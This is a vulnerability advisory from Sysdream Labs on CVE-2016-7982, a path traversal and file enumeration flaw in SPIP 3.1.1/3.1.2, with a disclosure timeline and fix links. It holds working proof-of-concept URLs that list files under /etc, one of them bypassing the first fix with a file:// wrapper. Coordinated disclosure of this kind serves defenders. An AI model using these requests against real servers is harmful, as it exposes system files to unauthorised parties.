SPIP 3.1.1/3.1.2 - File Enumeration / Path Traversal

## SPIP 3.1.1/3.1.2 File Enumeration / Path Traversal (CVE-2016-7982)

### Product Description

SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.

### Vulnerability Description

The `valider_xml` file can be used to enumerate files on the system.

**Access Vector**: remote

**Security Risk**: medium

**Vulnerability**: CWE-538

**CVSS Base Score**: 4.9 (Medium)

**CVE-ID**: CVE-2016-7982

### Proof of Concept

Enumerating `.ini` files inside `/etc` (SPIP 3.1.1) :

    http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=/etc&ext=ini&recur=2

Bypassing SPIP 3.1.2 protection using PHP Wrappers :

    http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///etc&ext=ini&recur=2

### Vulnerable code

    if (is_dir($url)) {
        $dir = (substr($url, -1, 1) === '/') ? $url : "$url/";
        $ext = !preg_match('/^[.*\w]+$/', $req_ext) ? 'php' : $req_ext;
        $files = preg_files($dir, "$ext$", $limit, $rec);
        if (!$files and $ext !== 'html') {
          $files = preg_files($dir, 'html$', $limit, $rec);
          if ($files) {
            $ext = 'html';
          }
        }
        if ($files) {
          $res = valider_dir($files, $ext, $url);
          list($err, $res) = valider_resultats($res, $ext === 'html');

File names are stored in `$res` and displayed by `echo` on line 146 :

    echo "<h1>", $titre, '<br>', $bandeau, '</h1>',
    "<div style='text-align: center'>", $onfocus, "</div>",
      $res,
      fin_page();



### Timeline (dd/mm/yyyy)

* 15/09/2016 : Initial discovery
* 26/09/2016 : Contact with SPIP Team
* 27/09/2016 : Answer from SPIP Team, sent advisory details
* 27/09/2016 : Incorrect fixes for Path Traversal
* 27/09/2016 : New proof of concept for bypassing Path Traversal sent.
* 27/09/2016 : Bad fix for Path Traversal (23185)
* 28/09/2016 : New proof of concept for bypassing fixes for Path Traversal on Windows systems.
* 28/09/2016 : Fixes issued Path Traversal (23200)
* 30/09/2016 : SPIP 3.1.3 Released

### Fixes

* https://core.spip.net/projects/spip/repository/revisions/23207
* https://core.spip.net/projects/spip/repository/revisions/23208
* https://core.spip.net/projects/spip/repository/revisions/23206
* https://core.spip.net/projects/spip/repository/revisions/23202
* https://core.spip.net/projects/spip/repository/revisions/23201
* https://core.spip.net/projects/spip/repository/revisions/23200
* https://core.spip.net/projects/spip/repository/revisions/23191
* https://core.spip.net/projects/spip/repository/revisions/23190
* https://core.spip.net/projects/spip/repository/revisions/23193
* https://core.spip.net/projects/spip/repository/revisions/23188
* https://core.spip.net/projects/spip/repository/revisions/23187
* https://core.spip.net/projects/spip/repository/revisions/23185
* https://core.spip.net/projects/spip/repository/revisions/23182
* https://core.spip.net/projects/spip/repository/revisions/23184


### Affected versions

* Version <= 3.1.2

### Credits

* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)


-- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream